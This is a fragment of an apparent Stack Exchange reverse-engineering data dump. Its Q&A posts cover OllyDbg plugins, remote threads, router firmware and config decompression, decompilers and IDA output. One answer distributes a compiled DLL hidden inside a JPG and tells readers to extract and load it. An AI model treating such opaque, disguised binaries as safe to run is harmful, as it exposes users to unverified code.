  <row Id="3586" PostTypeId="2" ParentId="3568" CreationDate="2014-01-30T21:42:06.530" Score="1" Body="&lt;p&gt;STEGANOGRAPHED IMAGE :) COPY HEXEDIT AND RIP&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qA3rb.jpg&quot; alt=&quot;HITAID DLL&quot;&gt;&lt;br&gt;&#xA;This answer is related to &lt;code&gt;hittrace&lt;/code&gt; feature of ollydbg&lt;br&gt;&#xA;Attached is a &lt;code&gt;odbg110&lt;/code&gt; plugin &lt;code&gt;hitaid.dll&lt;/code&gt;&lt;br&gt;&#xA;the dll has been &lt;code&gt;7zipped and hexedited&lt;/code&gt; to be uploaded here as jpg&lt;br&gt;&#xA;download hexedit and &lt;code&gt;delete first 10 bytes&lt;/code&gt; and &lt;code&gt;save as hitaid.7z&lt;/code&gt;&lt;br&gt;&#xA;use 7zip to &lt;code&gt;extract hitaid.dll&lt;/code&gt; from the archieve  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg has a feature called &lt;code&gt;Hittrace&lt;/code&gt; &#xA;this plugin leverages that feature to achieve what is queried &lt;/p&gt;&#xA;&#xA;&lt;p&gt;put the dll in &lt;code&gt;odbg110 plugin path&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;open calc.exe&lt;/code&gt; in odbg&lt;br&gt;&#xA;&lt;code&gt;analyse&lt;/code&gt; the main module viz calc.exe&lt;br&gt;&#xA;&lt;code&gt;right click&lt;/code&gt; in &lt;code&gt;disasm window&lt;/code&gt; select &lt;code&gt;hittrace&lt;/code&gt; in context menu&lt;br&gt;&#xA;select &lt;code&gt;add all recognized procedures submenu&lt;/code&gt;&lt;br&gt;&#xA;all recognized procedures will be &lt;code&gt;marked with grey marker&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;run&lt;/code&gt; the exe with &lt;code&gt;f9&lt;/code&gt;&lt;br&gt;&#xA;all instruction that were hit would be &lt;code&gt;colored red&lt;/code&gt;&lt;br&gt;&#xA;hitting &lt;code&gt;ctrl+L&lt;/code&gt; from start of disasm window will cycle through all hits&lt;br&gt;&#xA;use plugin to remove all the hits&lt;br&gt;&#xA;if the required feature say &lt;code&gt;button 7 is clicked&lt;/code&gt; now&lt;br&gt;&#xA;the new code path that &lt;code&gt;pertains to button 7&lt;/code&gt; would be colored red&lt;br&gt;&#xA;new hits can be reached by selecting disasm window start and pressing ctrl+L&lt;br&gt;&#xA;plugin can be used &lt;code&gt;repeatedly&lt;/code&gt; to remove hits &#xA;the app &lt;code&gt;need not be&lt;/code&gt; paused for the interaction &#xA;you can set f2 breakpoints as required in the new code path and reenable hittrace via disasm context menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;src below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &quot;plugin.h&quot;&#xA;#pragma warning(disable:4100)&#xA;BOOL WINAPI DllEntryPoint(HINSTANCE hi,DWORD reason,LPVOID reserved) &#xA;{&#xA;    return 1;&#xA;};&#xA;extc int _export cdecl ODBG_Plugindata(char shortname[32]) &#xA;{&#xA;    strcpy(shortname,&quot;HitAid&quot;);&#xA;    return PLUGIN_VERSION;&#xA;};&#xA;extc int _export cdecl ODBG_Plugininit( int ollydbgversion,HWND hw,ulong *features) &#xA;{&#xA;    Addtolist(0,0,&quot;Hit Trace Aid Plugin by blabb&quot;); &#xA;    return 0;&#xA;};&#xA;extc int _export cdecl ODBG_Pluginmenu(int origin,char data[4096],void *item) &#xA;{&#xA;    switch (origin)    &#xA;    {&#xA;    case PM_MAIN:&#xA;        strcpy(data,&quot;0 &amp;amp;HitAid&quot;);&#xA;        return 1;&#xA;    default: break;&#xA;    };&#xA;    return 0;&#xA;};&#xA;extc void _export cdecl ODBG_Pluginaction(int origin,int action,void *item) &#xA;{&#xA;    uchar *buff , *retu;&#xA;    unsigned long psize, i , addr;&#xA;    t_module * mod = Findmodule( Plugingetvalue(VAL_MAINBASE) );    &#xA;    addr = mod-&amp;gt;codebase;&#xA;    if (origin==PM_MAIN)    &#xA;    {&#xA;        switch (action) &#xA;        {&#xA;        case 0:&#xA;            retu = Findhittrace ( addr, &amp;amp;buff,&amp;amp;psize);&#xA;            for (i=0;i &amp;lt; psize;i++ )    {&#xA;                if ( retu[i] != ( TR_TRACE | TR_HIT )  ) &#xA;                {&#xA;                    continue;&#xA;                }&#xA;                Modifyhittrace((addr+i) , (addr+i+1),ATR_REMOVE);&#xA;            }&#xA;            break;&#xA;        default:&#xA;            break;&#xA;        };&#xA;    };&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with vs 2010 express and modified pdk by alex downloadable from www.ollydbg.de&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cl /nologo /W4 /O1 /J /analyze /LD /WX /D&quot;_CRT_SECURE_NO_WARNINGS&quot; hitaid.cpp    &#xA;/link /subsystem:windows /dll /ENTRY:DllEntryPoint/MERGE:.rdata=.text .\ollydbgvc7.lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-01-31T06:19:24.253" LastActivityDate="2014-01-31T06:19:24.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3587" PostTypeId="1" CreationDate="2014-01-31T03:24:49.927" Score="3" ViewCount="297" Body="&lt;p&gt;Without being able to look at the backend of a web app and only viewing the source code:  Are there any certain directory structures that are common to Ruby? I'm looking to learn the language, but I am for searching for websites that I would want to emulate as a learning modality.&lt;/p&gt;&#xA;" OwnerUserId="3802" LastEditorUserId="3802" LastEditDate="2014-02-01T00:24:32.977" LastActivityDate="2014-03-19T03:01:36.173" Title="How do you determine if a website was created using the Ruby language?" Tags="|websites|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3588" PostTypeId="2" ParentId="1686" CreationDate="2014-01-31T04:18:36.793" Score="3" Body="&lt;p&gt;Just as a kind of related note, but side-stepping the actual question a bit. There was a presentation at the VB conference last year (2013) in Berlin, about a KVM-based modified hypervisor. It is called CXPInspector and the presentation they gave (the first one in the tech stream) can be found &lt;a href=&quot;http://www.virusbtn.com/pdf/conference_slides/2013/WillemsHund-VB2013.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www-brs.ub.ruhr-uni-bochum.de/netahtml/HSS/Diss/WillemsCarsten/diss.pdf&quot; rel=&quot;nofollow&quot;&gt;Here's the corresponding thesis/dissertation&lt;/a&gt; (237 pages) and &lt;a href=&quot;http://www.syssec.rub.de/media/emma/veroeffentlichungen/2012/11/26/TR-HGI-2012-002.pdf&quot; rel=&quot;nofollow&quot;&gt;here's a related somewhat shorter paper&lt;/a&gt; (though not about CXPInspector directly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method makes use of newer processor features. The presentation gives a nice overview. Basically the only conceivable attack - aside from those based on flaws in the CPU and the hypervisor implementation - would be a timing attack. And even though many machines these days are fast, that's not exactly a very reliable method. It used to be, but these days it's gambling, at best.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2014-01-31T04:18:36.793" CommentCount="0" CommunityOwnedDate="2014-01-31T04:18:36.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="3589" PostTypeId="1" AcceptedAnswerId="3591" CreationDate="2014-01-31T08:30:03.253" Score="2" ViewCount="525" Body="&lt;p&gt;The &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms686735%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;THREADENTRY32&lt;/code&gt; structure&lt;/a&gt; contains a member called &lt;code&gt;th32OwnerProcessID&lt;/code&gt;, which is described as: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The identifier of the process that created the thread.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if I understand how the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682437%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt; function&lt;/a&gt; works. However, I would expect that the thread created by &lt;em&gt;Process A&lt;/em&gt; via &lt;code&gt;CreateRemoteThread&lt;/code&gt;, in the address space of &lt;em&gt;Process B&lt;/em&gt;, would have the &lt;code&gt;th32OwnerProcessID&lt;/code&gt; equal to the ID of &lt;em&gt;Process A&lt;/em&gt; (if we were to take the description of the &lt;code&gt;th32OwnerProcessID&lt;/code&gt; as quoted above). I was a bit surprised to see that it is actually equal to the ID of &lt;em&gt;Process B&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain why this is so? And how to get the ID of the actual creator of the thread, i.e. &lt;em&gt;Process A&lt;/em&gt; in my example?&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="53" LastEditDate="2014-02-02T21:52:52.233" LastActivityDate="2014-02-03T19:25:13.760" Title="How to get the PID of the a thread's creator (not owner, not host)" Tags="|winapi|thread|multi-process|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3590" PostTypeId="2" ParentId="3572" CreationDate="2014-01-31T09:54:40.910" Score="2" Body="&lt;p&gt;You may be able to make use of snapshots to make this happen from a plugin. I don't think the database snapshot functions are exposed in IDC or IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General algorithm on a freshly opened database would be something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libs_before = iterate over all functions to determine initial count of library functions&#xA;snapshot_t ss;&#xA;::qstrncpy(ss.filename, &quot;tempsnap&quot;, 9);&#xA;qstring errmsg;&#xA;take_database_snapshot(&amp;amp;ss, &amp;amp;errmsg);&#xA;//use platform directory iterator on IDA sigs directory&#xA;for i in list_of_sig_files&#xA;   int signum = plan_to_apply_idasgn(i);&#xA;   while (i--) {&#xA;      apply_idasgn(1);  //may need to play around with this&#xA;   }&#xA;   libs_after = iterate over all functions to determine count of library functions after sigs applied&#xA;   msg(&quot;%d signatures matched from %s\n&quot;, libs_after - libs_before, i);&#xA;   restore_database_snapshot(&amp;amp;ss), mycb, NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where a minimal &lt;code&gt;mycb&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void idaapi mycb(const char *errmsg, void *ud) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;obviously there is some code for you to fill in, but the idea to get an initial count of library functions in the binary and take a snapshot. Next iterate over the names of all sig files and apply each one in turn. Following the application of each signature file, generate a new count of the library functions in the database. The difference between the new count and the original count is the number of signature matches. Finally restore to the snapshot you took to roll back the changes made when applying the sigs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can count library functions by iterating over all functions (see &lt;code&gt;get_next_func&lt;/code&gt;) and for each returned &lt;code&gt;func_t *f&lt;/code&gt;,  check &lt;code&gt;(f-&amp;gt;flags &amp;amp; FUNC_LIB) != 0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that puts you on the right track &lt;/p&gt;&#xA;" OwnerUserId="3767" LastEditorUserId="3767" LastEditDate="2014-02-01T01:25:42.593" LastActivityDate="2014-02-01T01:25:42.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3591" PostTypeId="2" ParentId="3589" CreationDate="2014-01-31T17:46:46.213" Score="3" Body="&lt;p&gt;That should really say &quot;the identifier of the process that is hosting the thread&quot;, since that's what it is.  The snapshot that is created by the Toolhelp APIs is system-wide, so in order to understand where a thread lives, you need its process ID.  That would be meaningless if it said process A, if process A created a remote thread in process B and then exited.  In that case, the PID belonging to process A at the time of creation might end up being reused by the next process that is created, and obviously be completely unrelated to the thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this a different way: creating a remote thread is merely making a request to the remote process to create the thread, so the remote process is the one who creates thread.  There is no concept of who made the request.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="1323" LastEditDate="2014-02-03T19:25:13.760" LastActivityDate="2014-02-03T19:25:13.760" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3592" PostTypeId="1" CreationDate="2014-02-01T02:59:33.717" Score="2" ViewCount="124" Body="&lt;p&gt;I cannot figure out how to disassemble these binaries I pulled from a wireless router I recently came into possession of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;httpd: ELF 32-bit MSB executable, version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binwalk output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL         HEX             DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------------------&#xA;0               0x0             ELF 32-bit MSB executable, Ubicom32, version 1 (SYSV)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IDA&lt;/code&gt; doesn't seem to disassemble it correctly. &lt;code&gt;gobjdump&lt;/code&gt; doesn't seem to have any matching targets for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I just missing something obvious? How should I disassemble this?&lt;/p&gt;&#xA;" OwnerUserId="3811" LastActivityDate="2014-02-01T02:59:33.717" Title="How to disassemble Ubicom32 binaries?" Tags="|embedded|ubicon32|" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-02T11:08:46.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="3593" PostTypeId="1" AcceptedAnswerId="3601" CreationDate="2014-02-01T03:51:19.833" Score="6" ViewCount="6361" Body="&lt;p&gt;so I have backup from my router its zte zxv10h201l and its linux based but I can not identify type of compression of this file.&#xA;Here is couple of first &amp;quot;lines&amp;quot; of it&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|&#xA;00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|&#xA;00000040  00 01 00 00 00 00 00 80  00 00 23 90 00 00 00 00  |..........#.....|&#xA;00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000080  04 03 02 01 00 00 00 00  00 00 00 0b 5a 58 56 31  |............ZXV1|&#xA;00000090  30 20 48 32 30 31 4c 01  02 03 04 00 00 00 00 00  |0 H201L.........|&#xA;000000a0  01 4c 54 00 00 23 78 00  00 20 00 40 34 b7 80 e9  |.LT..#x.. .@4...|&#xA;000000b0  80 47 c0 00 00 00 00 00  00 00 00 00 00 00 00 00  |.G..............|&#xA;000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000000d0  00 00 00 00 00 20 00 00  00 03 d0 00 00 04 18 78  |..... .........x|&#xA;000000e0  da ed 58 61 53 da 30 18  fe be 5f c1 f1 03 b0 29  |..XaS.0..._....)|&#xA;000000f0  88 db 4e 77 07 6d d1 de  00 3b e8 64 b7 2f 5e 6c  |..Nw.m...;.d./^l|&#xA;00000100  23 e6 2c 49 2f 4d 11 f6  eb 97 da 56 0b da 34 45  |#.,I/M.....V..4E|&#xA;00000110  77 d3 13 94 2b 94 27 6f  9e be 79 f2 bc 6f 7b 6c  |w...+.'o..y..o{l|&#xA;00000120  f6 bf 7d 6a 88 d7 b1 7b  15 34 08 5c a0 93 a6 d9  |..}j...{.4.\....|&#xA;00000130  ef c3 08 35 1b 13 7a 67  d0 98 f0 93 26 68 a6 a0  |...5..zg....&amp;h..|&#xA;00000140  7b a0 38 dd 18 d3 93 a6  56 38 79 ff 83 39 ca 02  |{.8.....V8y..9..|&#xA;00000150  d8 03 9b 5c d3 66 63 09  03 01 03 e2 4f 17 ef 8e  |...\.fc.....O...|&#xA;00000160  96 be 80 d6 d5 40 27 fd  a6 03 fd 30 3b 7d 98 fc  |.....@'....0;}..|&#xA;00000170  92 1e f5 ec d8 4e 8e cd  83 c2 dc 07 62 f2 8c ef  |.....N......b...|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Afer that I connected ttl-rs232 to router and when backup button is pressed on my router web UI this show up in log&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2014.01.31 22:58:29 =~=~=~=~=~=~=~=~=~=~=~=&#xA;04:15:12 [webd][Info] [upload.c(1138)my_upload_file] Enter my_upload_file.&#xA;04:15:12 [webd][Info] [upload.c(1343)my_upload_file] Begin download file.(filetype : config)&#xA;04:15:12 [DB][Info] [dbc_mgr_file.c(1644)dbGetBinFile] DB get cfg start&#xA;04:15:12 [FLASHRW][Info] [proc_file_mod.c(1204)file_open] open file: /proc/cfg/db_user_cfg.xml&#xA;04:15:12 [FLASHRW][Info] [proc_file_mod.c(1334)file_close] close file: /proc/cfg/db_user_cfg.xml&#xA;04:15:12 [DB][Info] [dbc_mgr_file_en(570)dbcCfgFileIsEnc] FileIsEncry return 0&#xA;04:15:12 [FLASHRW][Info] [proc_file_mod.c(1204)file_open] open file: /proc/cfg/db_user_cfg.xml&#xA;04:15:12 [FLASHRW][Info] [proc_file_mod.c(1334)file_close] close file: /proc/cfg/db_user_cfg.xml&#xA;04:15:12 [DB][Info] [dbc_mgr_file_si(198)dbcCfgFileSign] SignFile return 0&#xA;04:15:12 [DB][Info] [dbc_mgr_file_ve(277)dbcCfgFileVersi] add FileVersion return 0&#xA;04:15:12 [DB][Warn] [dbc_mgr_file.c(1708)dbGetBinFile] DB download cfg(iRet:0)&#xA;04:15:12 [webd][Info] [upload.c(644)create_config_f] user cfg path:/var/tmp/version-cfg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I searched router firmware for srings of text like above and found this line&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;deflate 1.1.4 jean loup gailly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;nearby some of strings, after quick google it seams that this is zlib and its used for compression of &amp;quot;something&amp;quot;, after that with my little knowlage I tried to decompress it with comands like this&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;printf &amp;quot;\x1f\x8b\x08\x00\x00\x00\x00\x00&amp;quot; |cat - zlib.raw |gzip -dc&lt;/p&gt;&#xA;&lt;p&gt;cat /tmp/data | openssl zlib -d&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;but with no luck, later on I found similar file on web with no compression on it, so I take a look and it seams that header of file and couple more &amp;quot;byts&amp;quot; are the same as my compressed file and Im not sure how I can skip these first &amp;quot;byts&amp;quot; and try to decompress rest of &amp;quot;data&amp;quot;, also from log u can see some type of &amp;quot;Sign&amp;quot; which are also need to be skiped, here is how similar file which is not compressed look like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|&#xA;00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|&#xA;00000040  00 02 00 00 00 00 00 80  00 04 5e 85 00 00 00 00  |..........^.....|&#xA;00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000080  3c 44 42 3e 0a 3c 54 62  6c 20 6e 61 6d 65 3d 22  |&amp;lt;DB&amp;gt;.&amp;lt;Tbl name=&quot;|&#xA;00000090  44 42 42 61 73 65 22 20  52 6f 77 43 6f 75 6e 74  |DBBase&quot; RowCount|&#xA;000000a0  3d 22 31 22 3e 0a 3c 52  6f 77 20 4e 6f 3d 22 30  |=&quot;1&quot;&amp;gt;.&amp;lt;Row No=&quot;0|&#xA;000000b0  22 3e 0a 3c 44 4d 20 6e  61 6d 65 3d 22 49 46 49  |&quot;&amp;gt;.&amp;lt;DM name=&quot;IFI|&#xA;000000c0  6e 66 6f 22 20 76 61 6c  3d 22 30 31 30 31 30 32  |nfo&quot; val=&quot;010102|&#xA;000000d0  30 31 30 34 30 30 30 30  30 30 30 31 30 36 30 31  |0104000000010601|&#xA;000000e0  30 34 30 30 30 30 30 32  31 32 35 30 30 30 30 30  |0400000212500000|&#xA;000000f0  30 30 35 30 30 31 30 30  30 30 35 30 30 32 30 30  |0050010000500200|&#xA;00000100  30 30 35 30 30 33 30 30  30 30 22 2f 3e 0a 3c 2f  |0050030000&quot;/&amp;gt;.&amp;lt;/|&#xA;00000110  52 6f 77 3e 0a 3c 2f 54  62 6c 3e 0a 3c 54 62 6c  |Row&amp;gt;.&amp;lt;/Tbl&amp;gt;.&amp;lt;Tbl|&#xA;00000120  20 6e 61 6d 65 3d 22 45  54 48 22 20 52 6f 77 43  | name=&quot;ETH&quot; RowC|&#xA;00000130  6f 75 6e 74 3d 22 34 22  3e 0a 3c 52 6f 77 20 4e  |ount=&quot;4&quot;&amp;gt;.&amp;lt;Row N|&#xA;00000140  6f 3d 22 30 22 3e 0a 3c  44 4d 20 6e 61 6d 65 3d  |o=&quot;0&quot;&amp;gt;.&amp;lt;DM name=|&#xA;00000150  22 56 69 65 77 4e 61 6d  65 22 20 76 61 6c 3d 22  |&quot;ViewName&quot; val=&quot;|&#xA;00000160  49 47 44 2e 4c 44 31 2e  45 54 48 31 22 2f 3e 0a  |IGD.LD1.ETH1&quot;/&amp;gt;.|&#xA;00000170  3c 44 4d 20 6e 61 6d 65  3d 22 4c 44 57 44 56 69  |&amp;lt;DM name=&quot;LDWDVi|&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/562nctdc7r8xhmo/default-config.bin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; u can find compressed backup.&lt;/p&gt;&#xA;&lt;p&gt;Edit: On picture u can see comparasion of two files db_user_cfg.xml (file from log) on (left side) and that &amp;quot;same file&amp;quot; but when is &amp;quot;backedup&amp;quot; on right side&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Mjd5.png&quot; alt=&quot;Zte compare&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-07-20T13:19:20.907" Title="RE Compressed backup file,router linux based so is it compresed with zlib?" Tags="|linux|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3594" PostTypeId="1" AcceptedAnswerId="3598" CreationDate="2014-02-01T19:52:07.403" Score="4" ViewCount="19411" Body="&lt;p&gt;I have a 64 bit program im debugging. &#xA;I found the function i need to learn more about to potentially &quot;fix&quot; the problem (there is no source code available for the program).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed  things up, i wanted to decompile and go over it in pseudocode  as my assembler is still quite weak.&#xA;However i did not find any working solutions that would work with x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using only x64 windows platform so linux/mac solutions wont work (hopper is only 32 bit on windows).&#xA;Hex-rays is x86 as well.&#xA;There was ida-decompiler python scripts that i didn't get to work no matter what i did ( no output or pseudocode was generated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other solutions i could try that does support x64 and has pseudocode support?&lt;/p&gt;&#xA;" OwnerUserId="3819" LastEditorUserId="189" LastEditDate="2014-02-02T03:40:14.437" LastActivityDate="2016-12-13T09:28:11.047" Title="64 bit Pseudocode decompiler" Tags="|tools|decompiler|x86-64|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3595" PostTypeId="2" ParentId="2989" CreationDate="2014-02-01T20:07:22.340" Score="4" Body="&lt;p&gt;You'll need to know how the compiler generated the function.  For 32-bit Windows applications compiled with MSVC, your life gets a little bit easier since all arguments are passed on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that the stack frame is set up upon entry to a routine on x86 Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;----------------&#xA; Return Address &#xA;----------------&#xA; Argument #0 &#xA;----------------&#xA; Argument #1&#xA;----------------&#xA; Argument #2 &#xA;----------------&#xA;  ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This continues to be the case for vararg routines.  Here's a quick example that shows you how to get at the additional values.  The issue that you'll run into if you're intercepting things like &lt;code&gt;printf&lt;/code&gt; is that you have to parse the format string to know how many arguments have been passed to you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;&#xA;#define print(x) printf(&quot;%10s: %x\n&quot;, #x, x)&#xA;&#xA;void fn(int a, int b, ...) {&#xA;    void ** Stack = (void**) _AddressOfReturnAddress();&#xA;&#xA;    print(Stack);    // Address of SP upon function entry&#xA;    print(Stack[0]); // Return address&#xA;    print(Stack[1]); // a&#xA;    print(Stack[2]); // b&#xA;    print(Stack[3]); // vararg 1&#xA;};&#xA;&#xA;void main() {&#xA;    fn(1,2,3,4,5,6);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prints out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Stack: 101feac&#xA;Stack[0]: ce10a4&#xA;Stack[1]: 1&#xA;Stack[2]: 2&#xA;Stack[3]: 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-02-01T20:07:22.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3596" PostTypeId="1" AcceptedAnswerId="3602" CreationDate="2014-02-01T21:44:23.937" Score="2" ViewCount="1263" Body="&lt;p&gt;I use IDA Pro 6.1 to disassembly ELF file,&#xA;which is compiled on 32 bit Linux, gcc 4.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified the code and try to make it reassemble, &#xA;and I find a problem here(this is directly created by IDA Pro):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main    proc near&#xA;......&#xA;mov     dword ptr [esp+4], offset msgid&#xA;......&#xA;......&#xA;foo     proc near&#xA;msgid   =  dword ptr -18d&#xA;......&#xA;mov     [esp+1Ch+msgid], 1&#xA;&#xA;section .rodata&#xA;msgid           db 'extra operand %s',0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if I do some modify work and assembly it use &lt;strong&gt;nasm&lt;/strong&gt;, it will produce this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: label or instruction expected at start of line &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;targeting on this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msgid           db 'extra operand %s',0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I modify it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main    proc near&#xA;......&#xA;mov     dword ptr [esp+4], offset msgid111&#xA;......&#xA;......&#xA;foo     proc near&#xA;msgid   =  dword ptr -18d&#xA;......&#xA;mov     [esp+1Ch+msgid], 1&#xA;&#xA;section .rodata&#xA;msgid111           db 'extra operand %s',0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then no error in this part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why IDA Pro will use variable name as the macro name?&lt;/li&gt;&#xA;&lt;li&gt;Is there any better way to bypass this error than modify the variable name?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2017-04-28T12:57:04.377" LastActivityDate="2017-04-28T12:57:04.377" Title="Why IDA Pro will generate this kind of code(mess up macro name and variable name)?" Tags="|ida|disassembly|assembly|nasm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
